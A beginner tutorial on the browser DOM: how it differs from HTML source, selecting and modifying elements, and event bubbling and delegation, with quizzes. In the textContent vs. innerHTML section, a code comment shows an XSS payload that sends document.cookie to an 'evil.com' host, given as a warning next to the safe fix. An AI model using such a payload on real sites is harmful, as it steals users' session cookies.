# The DOM Explained

> The DOM is the live, in-memory tree the browser builds from your HTML - and the thing JavaScript actually touches. Learn how it differs from the HTML source, how to select and change elements, and how events bubble.


---

# The DOM Explained

Open any page, right-click, choose "Inspect," and you're looking at the DOM - not the HTML file the
server sent, but a live tree of objects the browser built from it. JavaScript doesn't touch your HTML
source. It touches this tree. Change the tree, and the page changes, instantly, with no re-download and
no server involved.

This guide assumes you know basic JavaScript syntax - variables, functions, conditionals. If that's
still new, start with [JavaScript From Zero](/guides/javascript-from-zero) and come back. Here, the
focus is narrower: what the DOM is, how to select and modify elements in it, and how events travel
through it.

## The phases

1. **[The DOM Is Not the HTML](01-the-dom-is-not-the-html.md)** - the browser parses HTML into a tree of
   objects; that tree, not the original text, is what JavaScript sees. View Source vs. the Elements panel,
   and what happens when JavaScript changes the tree.
2. **[Selecting and Modifying Elements](02-selecting-and-modifying-elements.md)** - `querySelector` and
   `querySelectorAll`, `classList`, `textContent` vs. `innerHTML` (and the XSS risk of the latter), reading
   and writing inline styles.
3. **[Events: Listening, Bubbling, and Delegation](03-events-listening-bubbling-and-delegation.md)** -
   `addEventListener`, the event object, bubbling, and event delegation - one listener handling clicks for
   an entire list instead of one per item.

By the end, you'll read a page's real structure in devtools instead of guessing from the source, and
you'll know why professional codebases attach far fewer event listeners than you'd expect.


---

# The DOM Is Not the HTML

When a browser loads a page, it reads the HTML text once, parses it, and throws the text away. What's
left is the **DOM** - the Document Object Model - a tree of JavaScript objects sitting in memory. Every
tag becomes a node. Every attribute becomes a property. That tree is the page, as far as the browser
and JavaScript are concerned. The original HTML string is gone.

This distinction matters because two browser tools show two different things, and mixing them up leads
to real confusion when debugging.

## View Source vs. the Elements panel

**View Source** (`Ctrl+U` or `view-source:` in the address bar) shows the raw HTML the server sent, as
plain text. It never changes, no matter what JavaScript does afterward. It's a network response, frozen.

**The Elements panel** in devtools (right-click → Inspect) shows the live DOM tree - the current state
of the page, including anything JavaScript has added, removed, or changed since load. Open it on a page
with an infinite-scroll feed, a modal that just opened, or a shopping cart counter, and you'll see
elements that never existed in the original HTML at all.

Say a page's server-rendered HTML looks like this:

```html
<body>
  <ul id="cart"></ul>
</body>
```

An empty cart. Now a script runs on load:

```js
const cart = document.getElementById('cart');
const item = document.createElement('li');
item.textContent = 'Wireless Mouse - $24.99';
cart.appendChild(item);
```

Reload the page and check View Source: still an empty `<ul id="cart"></ul>`. That's the text the server
sent - `createElement` never touched it. Now open the Elements panel: it shows `<ul id="cart"><li>Wireless
Mouse - $24.99</li></ul>`. The tree grew a new node; the source text didn't move.

This is the single most common source of "but the HTML says X" bug reports. The HTML said X. The DOM,
which is what the user actually sees, says Y, because a script ran after the page loaded.

## The DOM is a tree, and it's an API

Parsing turns nested tags into a parent-child tree. `<body>` is the parent of `<ul>`, `<ul>` is the
parent of each `<li>`, and so on. Every node in that tree is an object with properties and methods:
`.textContent`, `.children`, `.parentElement`, `.appendChild()`, `.remove()`. JavaScript doesn't edit
text - it calls methods on tree nodes, and the browser re-renders whatever changed.

That's also why the DOM is described as **live**: hold a reference to a node in a variable, mutate the
page around it, and the variable still points at the same object, wherever it ends up. Nodes don't get
recreated on every change - they're mutated in place.

## Why this trips people up

A few consequences follow directly from "DOM is live, HTML is static text":

- **"View source shows different HTML than the inspector."** Expected. View Source is the original
  response; the inspector is the current tree. A single-page app that renders everything with JavaScript
  might show almost nothing in View Source and a full page in the Elements panel.
- **Search engines and scrapers that only fetch raw HTML miss anything JavaScript adds.** This is why
  some sites need server-side rendering - crawlers that don't execute JavaScript only ever see the View
  Source version.
- **`Ctrl+F` in View Source won't find text that JavaScript injected.** Search the Elements panel
  instead, or use devtools' own search (`Ctrl+Shift+F` in Chrome DevTools) which searches the live DOM.
- **Editing the Elements panel directly** (double-click any text or attribute in devtools) changes the
  live DOM immediately, visible on screen - but it never touches the server's HTML file, and it's gone
  on refresh.

None of this requires new syntax yet - just the mental model. The next phase covers the actual methods
for finding and changing DOM nodes from a script.

Check that this landed:

```quiz
[
  {
    "q": "You run JavaScript that adds a new <li> to a list. What does View Source show afterward?",
    "choices": ["The new <li>, added to the text", "The original HTML, unchanged", "An error, because View Source updates automatically"],
    "answer": 1,
    "explain": "View Source is the raw response text from the server. It's frozen at load time - only the live DOM (visible in devtools' Elements panel) reflects JavaScript changes."
  },
  {
    "q": "What does the browser do with the original HTML text after parsing it?",
    "choices": ["Keeps it in sync with the DOM forever", "Discards it - the DOM tree is what remains", "Re-downloads it on every DOM change"],
    "answer": 1,
    "explain": "Parsing builds the DOM tree in memory; the source text isn't kept around or updated."
  },
  {
    "q": "Why might a search engine crawler miss content that's visible in the browser?",
    "choices": ["The content is hidden with CSS", "The crawler only reads the raw HTML and doesn't run the JavaScript that adds the content to the DOM", "The content is too far down the page"],
    "answer": 1,
    "explain": "A crawler that doesn't execute JavaScript only sees the View Source version - anything added to the DOM afterward is invisible to it."
  }
]
```


---

# Selecting and Modifying Elements

Working with the DOM comes down to two steps: find the node, then change it. This phase covers both,
using one running example - a card component you'll select and mutate several different ways.

```html
<div class="card" id="pricing-card">
  <h3 class="card-title">Pro Plan</h3>
  <p class="card-price">$12/mo</p>
  <button class="card-btn">Subscribe</button>
</div>
```

## Finding elements

`document.querySelector(selector)` returns the **first** matching element, using normal CSS selector
syntax - the same syntax you already know from stylesheets:

```js
const card = document.querySelector('.card');
const title = document.querySelector('#pricing-card .card-title');
const button = document.querySelector('.card-btn');
```

`document.querySelectorAll(selector)` returns **every** match, as a static NodeList. Loop it with
`forEach`:

```js
document.querySelectorAll('.card').forEach(card => {
  console.log(card.querySelector('.card-price').textContent);
});
```

You'll also see `getElementById('pricing-card')` and `getElementsByClassName('card')` in older code.
They're faster in theory but pickier about syntax (no CSS selectors, no combinators) and
`getElementsByClassName` returns a **live** collection that updates as the DOM changes, which surprises
people. `querySelector`/`querySelectorAll` cover nearly everything and read the same as CSS - default to
them.

## Changing classes with classList

Toggling a CSS class is the normal way to change appearance or state from JavaScript - the styling stays
in CSS, JavaScript just flips a switch:

```js
button.classList.add('is-loading');      // add a class
button.classList.remove('is-loading');   // remove it
button.classList.toggle('is-active');    // add if missing, remove if present
button.classList.contains('is-active');  // true/false check
```

A "Subscribe" button that disables itself and shows a spinner while a request is in flight:

```js
button.addEventListener('click', () => {
  button.classList.add('is-loading');
  button.disabled = true;
});
```

The CSS (`.is-loading { opacity: 0.6; cursor: wait; }`) lives in your stylesheet, untouched by this
guide - see [CSS Without Tears](/guides/css-without-tears) if that part is unfamiliar.

## textContent vs. innerHTML

Both set an element's contents. They are not interchangeable.

`textContent` sets or reads **plain text**. Anything you assign is treated as text, never parsed as
markup:

```js
title.textContent = 'Enterprise Plan';
```

`innerHTML` sets or reads **HTML**, parsing tags in the string:

```js
title.innerHTML = 'Enterprise <em>Plan</em>';
```

That parsing is the danger. If the string ever contains user input, `innerHTML` will execute it -
including `<script>` tags and event handler attributes. This is a real, common vulnerability class
called **cross-site scripting (XSS)**:

```js
// DANGEROUS if `comment` came from a user
reviewBox.innerHTML = comment;
// A comment of `<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">`
// runs immediately, in your page, with your users' cookies.
```

The fix: use `textContent` for anything that isn't HTML you wrote yourself.

```js
reviewBox.textContent = comment; // renders the tags as literal text, doesn't execute anything
```

Rule of thumb: reach for `textContent` by default. Only use `innerHTML` for trusted, static markup you
control - never for anything that came from a user, a URL parameter, or an API response you don't fully
trust.

## Reading and writing inline styles

`element.style` reads and writes inline CSS directly on the element, using camelCase property names:

```js
card.style.border = '2px solid #4f46e5';
card.style.backgroundColor = '#f5f5ff';   // not background-color

card.style.border; // '2px solid #4f46e5' - only reads inline styles you (or a script) set directly
```

`element.style` only sees styles set inline (via the `style` attribute or this API) - it won't show you
rules that apply from an external stylesheet. To read the actual computed value, regardless of where it
comes from, use `getComputedStyle(card).border`.

Inline styles via `.style` are fine for one-off, dynamic values (a progress bar's width, a
drag-and-drop position). For anything conditional or reusable, toggle a class instead and let CSS own
the actual values - it's easier to find, easier to override, and doesn't fight your stylesheet's
specificity.

Test what stuck:

```quiz
[
  {
    "q": "What's the main risk of setting `element.innerHTML = userInput`?",
    "choices": ["It's slightly slower than textContent", "It parses the string as HTML, so malicious markup or scripts can execute (XSS)", "It only works on <div> elements"],
    "answer": 1,
    "explain": "innerHTML parses its argument as markup. Untrusted input can include scripts or event handlers that run in your page - the classic XSS vector. textContent treats the same string as inert text."
  },
  {
    "q": "What does `document.querySelectorAll('.tag')` return?",
    "choices": ["The first element matching .tag", "A NodeList of every element matching .tag", "A single string of matching HTML"],
    "answer": 1,
    "explain": "querySelectorAll always returns a NodeList (possibly empty), even if only one element matches. querySelector returns just the first match."
  },
  {
    "q": "Why prefer toggling a CSS class over setting `element.style` properties directly for most UI state changes?",
    "choices": ["element.style doesn't work in modern browsers", "Classes keep the actual style values in CSS, making them easier to find, reuse, and override", "classList.toggle is faster to type"],
    "answer": 1,
    "explain": "Inline styles set via .style live only in JavaScript and win every CSS specificity fight, making them harder to override. Classes keep styling declarative and centralized in your stylesheet."
  }
]
```


---

# Events: Listening, Bubbling, and Delegation

Every click, keystroke, and page load fires an **event** - an object the browser creates and sends
through the DOM. `addEventListener` is how you tell an element "run this function when that happens."

```js
const button = document.querySelector('.card-btn');

button.addEventListener('click', (event) => {
  console.log('clicked', event.target);
});
```

The callback receives an **event object**. `event.target` is the exact element that triggered it -
useful the moment more than one element shares a listener, which is where this phase is headed.
`event.preventDefault()` stops the browser's default action (a link navigating, a form submitting).
`event.stopPropagation()` stops the event from continuing its journey through the DOM - which requires
knowing what that journey is.

## Bubbling: events climb the tree

Click a `<button>` inside a `<li>` inside a `<ul>`, and the click doesn't fire only on the button. It
fires on the button, then the `<li>`, then the `<ul>`, then `<body>`, all the way up to `document` - each
ancestor gets a turn. This is **bubbling**, and it's the default for almost every event type.

```html
<ul id="menu">
  <li><button>Settings</button></li>
</ul>
```

```js
document.querySelector('ul').addEventListener('click', (event) => {
  console.log('ul saw a click on', event.target.tagName); // BUTTON
});
```

The listener is on `<ul>`, but it still fires when you click the `<button>` inside it, because the click
bubbled up. `event.target` tells you what was actually clicked; `event.currentTarget` (or `this` in a
non-arrow function) tells you which element the listener is attached to - here, always the `<ul>`.

This matters because it means you don't need a listener on every single descendant to react to clicks
inside it. One listener on a shared parent catches everything below it.

## Delegation: one listener instead of many

Take a to-do list where each item has a "remove" button:

```html
<ul id="todo-list">
  <li>Buy milk <button class="remove-btn">×</button></li>
  <li>Walk the dog <button class="remove-btn">×</button></li>
  <li>Write guide <button class="remove-btn">×</button></li>
</ul>
```

The naive approach attaches a listener to every button:

```js
document.querySelectorAll('.remove-btn').forEach(btn => {
  btn.addEventListener('click', (event) => {
    event.target.closest('li').remove();
  });
});
```

This works, until an item gets added later - a new `<li>` built with `createElement` and appended.
Its button has no listener, because the `forEach` above only ran once, before that button existed. You'd
have to remember to re-attach a listener every time the list changes.

**Event delegation** fixes this by putting one listener on the parent `<ul>` and using bubbling to catch
clicks from any child, present now or added later:

```js
const list = document.querySelector('#todo-list');

list.addEventListener('click', (event) => {
  if (event.target.matches('.remove-btn')) {
    event.target.closest('li').remove();
  }
});
```

One listener, attached once, handles every item forever - including ones that don't exist yet. Add a
new `<li>` with a `.remove-btn` inside it at any point, and the click still bubbles up to the same `<ul>`
listener, which still fires. `event.target.matches('.remove-btn')` filters for the button specifically,
since the listener also fires for clicks on the `<li>` text itself. `.closest('li')` walks up from the
clicked button to find the containing list item, so it removes the right one regardless of how deep the
button is nested.

## Why delegation wins

- **Fewer listeners, less memory** - one instead of one-per-item, which matters on long lists.
- **Works for elements added later** - no re-binding step, no missed items, no memory leaks from
  listeners on removed elements that never got cleaned up.
- **Less code to maintain** - add a new item type to the list, and it's covered automatically as long as
  it bubbles to the same parent.

Delegation isn't universal - some events don't bubble at all (`focus`, `blur`, and `scroll` behave
differently), and for a handful of static elements a direct listener is simpler and clearer. For any
list that grows, shrinks, or gets rebuilt dynamically, delegate to the parent by default.

Check your understanding:

```quiz
[
  {
    "q": "In event delegation, why does the parent's listener still fire for an item added to the list after page load?",
    "choices": ["The browser automatically re-scans the DOM every second", "The click event bubbles up from the new item to the parent, where the listener already lives", "New elements always inherit the listeners of their siblings"],
    "answer": 1,
    "explain": "The listener sits on the parent, not the item. Bubbling carries the click event up to the parent regardless of when the clicked child was added."
  },
  {
    "q": "In a delegated click listener on a <ul>, what does event.target refer to?",
    "choices": ["Always the <ul> itself", "The specific element that was actually clicked, wherever it is inside the <ul>", "The first <li> in the list"],
    "answer": 1,
    "explain": "event.target is the original element the event started on. event.currentTarget is the element the listener is attached to - the <ul>, in this case."
  },
  {
    "q": "Why not just attach a separate click listener to every .remove-btn when the list can grow?",
    "choices": ["It's technically impossible in JavaScript", "New buttons added later won't have a listener unless you remember to re-attach one to them", "It would be a syntax error"],
    "answer": 1,
    "explain": "Per-item listeners only cover elements that existed when you attached them. Anything added afterward is silently unhandled unless you re-run the binding code."
  }
]
```

Next: getting user input right. [Forms That Work](/guides/forms-that-work) covers form elements, validation, and submission - the DOM concepts from this guide apply directly once you're listening for `input` and `submit` events instead of `click`.
